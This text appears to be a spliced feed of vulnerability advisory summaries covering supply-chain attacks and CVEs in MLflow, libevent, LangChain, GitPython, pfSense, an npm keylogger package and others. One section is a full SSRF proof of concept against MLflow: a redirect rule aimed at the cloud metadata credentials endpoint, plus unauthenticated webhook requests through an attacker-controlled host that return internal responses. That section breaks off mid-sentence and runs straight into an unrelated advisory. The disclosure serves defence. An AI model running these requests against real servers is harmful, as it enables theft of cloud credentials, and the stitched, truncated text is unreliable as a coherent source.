This analysis discusses the increasing threat of supply chain attacks targeting the software development lifecycle (SDLC), specifically focusing on CI/CD pipelines, developer tools, and package managers rather than finished application code. Attackers use sophisticated methods such as malicious preinstall scripts, memory scraping for credentials, and self-propagating worms like the ChainDrop npm worm to compromise developer environments and build pipelines. These attacks exploit the high privileges of developer tools and the lack of sandboxing, enabling attackers to steal secrets, backdoor endpoints, and propagate malware silently. The report emphasizes the need for continuous visibility and strict security controls across developer endpoints, build pipelines, and cloud runtimes to effectively mitigate these evolving threats.
Combodo iTop versions prior to 3.2.3 contain a vulnerability where unauthenticated users can access sensitive uploaded files via sniffed URLs. This issue is due to missing authentication controls on critical functions. The vulnerability has been fixed in version 3.2.3.
CVE-2026-77686 is an improper authorization vulnerability in Dolibarr affecting versions 23.0.0 through 23.0.4. The flaw exists in the Account Handler component, specifically in the htdocs/user/card.php file, where manipulation of the ID argument can bypass authorization controls. The vulnerability can be exploited remotely without user interaction. A public exploit is available. Upgrading to Dolibarr version 24.0.0 mitigates the issue.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
Libevent versions prior to 2.1.13 and 2.2.2-alpha contain a vulnerability in the evhttp parser that inconsistently handles duplicate Transfer-Encoding headers, comma-separated Transfer-Encoding values, and bare line feeds in chunked framing. This flaw can allow an unauthenticated remote attacker to desynchronize HTTP request boundaries when libevent is deployed behind a proxy, enabling HTTP request smuggling that may bypass access controls or poison caches. The issue is fixed in libevent versions 2.1.13 and 2.2.2-alpha and later.
SitemapLoader.parse_sitemap in langchain_community/document_loaders/sitemap.py applies the documented restrict_to_same_domain control only to leaf url entries. The loop over url elements filters cross-domain locations, but the loop over nested sitemap elements passes the child loc straight to self.scrape_all([loc.text], "xml"), which reaches WebBaseLoader.scrape_all and an aiohttp GET, with no domain comparison and no check for private, loopback or link-local destinations. An attacker who controls or influences an ingested sitemap can therefore point a nested sitemap entry at an internal address and make the server fetch it even when the deploying application set restrict_to_same_domain to True specifically to confine outbound requests. The fetched content is parsed and surfaces in the returned Documents, so internal responses are disclosed to the caller rather than merely requested.
CVE-2026-16997 is a high severity vulnerability in IBM AIX 7.2, 7.3, and IBM PowerVM VIOS 4.1 involving improper privilege management. It allows a local attacker to execute arbitrary commands due to insufficient privilege controls. The vulnerability has a CVSS 3.1 score of 7.8, indicating significant impact on confidentiality, integrity, and availability. No vendor patch or remediation information is provided in the input data.
A flaw was found in the multicloud-operators-subscription component. This vulnerability allows a tenant, who has the ability to create HelmRelease custom resources (CRs), to bypass existing security controls. The system's HelmRelease controller processes Helm chart templates using its own elevated ServiceAccount privileges without proper validation. This enables the tenant to deploy arbitrary resources across the entire cluster, leading to a significant security compromise.
BunkerWeb is an open-source, next-generation Web Application Firewall. Prior to 1.6.13, the blacklist, greylist, and antibot modules in src/common/core/blacklist/blacklist.lua, src/common/core/greylist/greylist.lua, and src/common/core/antibot/antibot.lua trust PTR suffix matches in IGNORE_RDNS, GREYLIST_RDNS, and ANTIBOT_IGNORE_RDNS without using get_ips to confirm that the hostname resolves to the client address. An unauthenticated remote attacker who controls a PTR record can spoof a trusted suffix to bypass rDNS-based blacklisting, gain greylist treatment, or skip an antibot challenge. This issue is fixed in version 1.6.13.
CVE-2026-15706 is a critical vulnerability in the Baylan Smart Meter Management Application (BMS) caused by missing authentication for a critical function. This flaw allows an attacker to bypass authentication controls, potentially leading to full compromise of confidentiality, integrity, and availability. The issue affects versions before 1.1.10.142.
CVE-2026-77084 is a high-severity OS command injection vulnerability in the n8n automation tool's Git node. Versions before 1.123.69 and certain 2.x versions prior to 2.33.4/2.34.1 are affected. The vulnerability arises because the Git node executes repository-local git configuration values without proper neutralization, allowing malicious values to be executed as the n8n process user. Exploitation requires an additional file-write vulnerability to plant the malicious configuration value, as the Git node's own configuration controls do not allow direct exploitation.
GitPython versions up to 3.1.57 have a vulnerability in the Repo.init() method where unsafe git options are forwarded without validation. Specifically, the --template option can be exploited by an attacker who controls the template directory containing malicious git hooks. These hooks are copied into the new repository and execute on the next git operation, leading to arbitrary code execution with the privileges of the host process. The vulnerability requires the attacker to stage an executable hook directory and influence the template argument passed to Repo.init(). A fix is available in version 4.0.2_5.
A vulnerability exists in the requests HTTP library used by Red Hat AI Inference Model Optimization Tools, where a local attacker can exploit insecure temporary file creation to load a malicious Certificate Authority bundle. This can lead to bypassing security controls and compromising integrity. The issue is identified as CWE-379 and affects multiple versions of the product. A patch is available in specified fixed versions.
A vulnerability in Splunk Enterprise and Splunk Secure Gateway allows users without admin or power roles to read Spacebridge asymmetric private keys via the Splunk Secure Gateway App Key Value Store REST API. This occurs on instances upgraded from older deployments where private-key migration is incomplete, leaving key material accessible due to insecure default access controls. The issue affects versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14 for Splunk Enterprise, and below 3.10.9, 3.9.23, and 3.8.70 for Splunk Secure Gateway. The vulnerability has a CVSS score of 5.3 (medium severity).
pfSense Plus before 26.07 and pfSense CE through 2.8.1 contain a stored cross-site scripting vulnerability in the Traffic Graphs top-talkers feature, where PTR records returned by reverse DNS lookups are incorporated without sanitization into AJAX responses and rendered as HTML through a DOM sink in the administrator interface. An attacker who controls a PTR record and generates sufficient traffic to appear as a top talker can execute arbitrary JavaScript in an administrator's browser, gaining access to the authenticated session context and same-origin access to the firewall management interface, enabling account creation and arbitrary OS command execution.
CVE-2026-73363 is a medium severity vulnerability in Taxi Booking Manager for WooCommerce versions prior to 2.0.8. It involves missing authorization controls, allowing unauthenticated users to perform actions that should require authorization. The vulnerability is classified under CWE-862 (Missing Authorization). No specific affected versions are explicitly stated beyond being before 2.0.8. There is no information about available patches or vendor advisories confirming remediation status.
CVE-2026-72684 is a medium severity vulnerability in Elasticsearch that allows an authenticated user with read privileges to cause a denial of service. By submitting a crafted search request, the user can trigger unbounded memory allocation in an internal component outside existing memory controls. This leads to an out-of-memory condition that terminates the affected node process, disrupting service availability. The vulnerability affects Elasticsearch versions from 8.0.0 up to but not including 9.5.0. A patch is available to address this issue.
The npm package nibra1 version 1.0.0 contains malicious code that installs a hidden Python payload on Windows systems. This payload captures user input and screen content, sending it to a remote server, which then controls the victim's keyboard input to execute arbitrary commands. The installation attempts to silently install Python 3.12 if not present, using stealth techniques to avoid user detection.